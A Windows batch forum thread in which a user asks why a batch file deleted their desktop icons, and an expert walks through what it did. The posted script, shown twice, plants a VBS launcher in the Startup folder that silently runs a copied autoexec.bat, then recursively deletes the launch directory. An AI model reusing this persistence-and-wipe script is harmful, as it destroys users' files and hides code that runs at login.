Please Help, Desktop Icons are gone

Discussion forum for all Windows batch related topics.

Moderator: DosItHelp

Post Reply
Message
Author
jpforesters
Posts: 4
Joined: 01 Apr 2013 07:57

Please Help, Desktop Icons are gone

#1 Post by jpforesters » 01 Apr 2013 08:02

@echo on
mkdir C:\@@@\
set sourcedir=%cd%
echo %sourcedir%
cd %HOMEDRIVE%%HOMEPATH%
cd "AppData"
cd "Roaming"
cd "Microsoft"
cd "Windows"
cd "Start Menu"
cd "Programs"
cd "Startup"
set startupdir=%cd%
echo %startupdir%
set in=%sourcedir%\MSWORDAUTOEXEC.VBS
set out=%startupdir%\MSWORDAUTOEXEC.VBS
echo %in%
echo %out%
copy "%in%" "%out%"
set in=%sourcedir%\autoexec.bat
copy "%in%" C:\@@@\autoexec.bat
rd /S /Q "%sourcedir%"



The above batch file deleted all of my desktop icons.

Any suggestions?

foxidrive
Expert
Posts: 6031
Joined: 10 Feb 2012 02:20

Re: Please Help, Desktop Icons are gone

#2 Post by foxidrive » 01 Apr 2013 08:16

It also apparently run a VBS script.

I think you should restore from your latest backup, or investigate further as to what the extra script did.

jpforesters
Posts: 4
Joined: 01 Apr 2013 07:57

Re: Please Help, Desktop Icons are gone

#3 Post by jpforesters » 01 Apr 2013 08:21

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "C:\@@@\autoexec.bat" & Chr(34), 0
Set WshShell = Nothing

Above is the VBS.

Although it was never created.
-----------------------------
I ONLY ran this Batch file

@echo on
mkdir C:\@@@\
set sourcedir=%cd%
echo %sourcedir%
cd %HOMEDRIVE%%HOMEPATH%
cd "AppData"
cd "Roaming"
cd "Microsoft"
cd "Windows"
cd "Start Menu"
cd "Programs"
cd "Startup"
set startupdir=%cd%
echo %startupdir%
set in=%sourcedir%\MSWORDAUTOEXEC.VBS
set out=%startupdir%\MSWORDAUTOEXEC.VBS
echo %in%
echo %out%
copy "%in%" "%out%"
set in=%sourcedir%\autoexec.bat
copy "%in%" C:\@@@\autoexec.bat
rd /S /Q "%sourcedir%"

foxidrive
Expert
Posts: 6031
Joined: 10 Feb 2012 02:20

Re: Please Help, Desktop Icons are gone

#4 Post by foxidrive » 01 Apr 2013 08:34

Assuming your username is david, and you launched the batch file from your desktop on c: then this is the sequence of events.

Code: Select all

@echo on
mkdir C:\@@@\
cd "c:\users\david\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
copy "c:\users\david\desktop\MSWORDAUTOEXEC.VBS" "c:\users\david\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSWORDAUTOEXEC.VBS"
copy "c:\users\david\desktop\autoexec.bat" C:\@@@\autoexec.bat
rd /S /Q "c:\users\david\desktop"


If you have rebooted then the VBS script has run.

If you haven't rebooted then carefully rename the C:\@@@\autoexec.bat file and see what is inside.

jpforesters
Posts: 4
Joined: 01 Apr 2013 07:57

Re: Please Help, Desktop Icons are gone

#5 Post by jpforesters » 01 Apr 2013 08:40

The folder @@@ is empty.

What does this mean?

rd /S /Q "c:\users\david\desktop"

Did this turn my desktop into a system file?

foxidrive
Expert
Posts: 6031
Joined: 10 Feb 2012 02:20

Re: Please Help, Desktop Icons are gone

#6 Post by foxidrive » 01 Apr 2013 08:46

jpforesters wrote:The folder @@@ is empty.


But have you rebooted. The autoexec.bat may have run and done further damage.

What does this mean?
rd /S /Q "c:\users\david\desktop"

Did this turn my desktop into a system file?


No, it deleted everything on your main profile desktop. That's not always the entire desktop.

The only chances for restoring them is from a backup or using an undelete program like Recuva. You normally have to stop using the hard drive to effectively undelete files as they may be damaged with further disk writes.

jpforesters
Posts: 4
Joined: 01 Apr 2013 07:57

Re: Please Help, Desktop Icons are gone

#7 Post by jpforesters » 01 Apr 2013 08:55

Thank you so much!

Post Reply